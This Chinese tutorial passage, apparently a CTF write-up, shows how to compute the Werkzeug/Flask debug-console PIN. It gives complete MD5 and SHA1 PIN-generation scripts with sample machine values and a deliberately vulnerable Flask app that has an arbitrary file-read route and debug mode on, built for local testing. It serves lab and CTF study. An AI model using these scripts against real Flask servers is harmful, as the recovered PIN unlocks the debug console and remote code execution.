然后这里还有一个点,python不同版本的算法区别
不同版本算法区别3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同
3.6 MD5
#MD5import hashlibfrom itertools import chainprobably_public_bits = ['flaskweb''flask.app','Flask','/usr/local/lib/python3.7/site-packages/flask/app.py']private_bits = ['25214234362297','0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)3.8 SHA1
#sha1import hashlibfrom itertools import chainprobably_public_bits = ['root''flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py']private_bits = ['2485377581187','653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行
docker测试本地docker在Windows上
我们将上面的测试代码修改为下,加入文件读取功能,并且return 0当我们传值错误可出发debug模式
from flask import Flask, requestapp = Flask(__name__)@app.route("/")def hello():return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全 。'@app.route("/file")def file():filename = request.args.get('filename')try:with open(filename, 'r') as f:return f.read()except:return 0if __name__ == "__main__":app.run(host="0.0.0.0", port=9000, debug=True)回到我们的环境,模块路径通过传入错误文件名触发报错可得到,主要就是machine-id,其他部分直接出的就不用看了,docker环境只需要后俩
文章插图
文章插图
拼接起来,代入程序,直接运行
文章插图
与环境里的一致
文章插图
如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN
- [GYCTF2020]FlaskApp——BUUCTF
- web801——CTFshow
推荐阅读
- Linux|国产操作系统上新:深度Deepin官宣23版本8月发布
- 老外发微信时说“I'll ping you”是什么意思? ping是什么意思
- 联通puk码是什么意思 PUK码是什么意思
- ping命令最全的用法,做项目必备技能 ping是什么意思
- 手机卡的PIN码是什么意思? 手机pin码是什么
- 经常看到的PIN是什么意思 pin是什么意思
- 生菜|BLACKPINK Lisa换新发型了!超性感「狼尾剪」获700万点赞
- 手机卡的PIN码是什么意思 pin码是什么
- 发型|已经美到不像凡人了啊!Red Velvet与Apink回归新发型解析!
- 如何同时Ping多个IP地址,一个小技巧节约N小时?
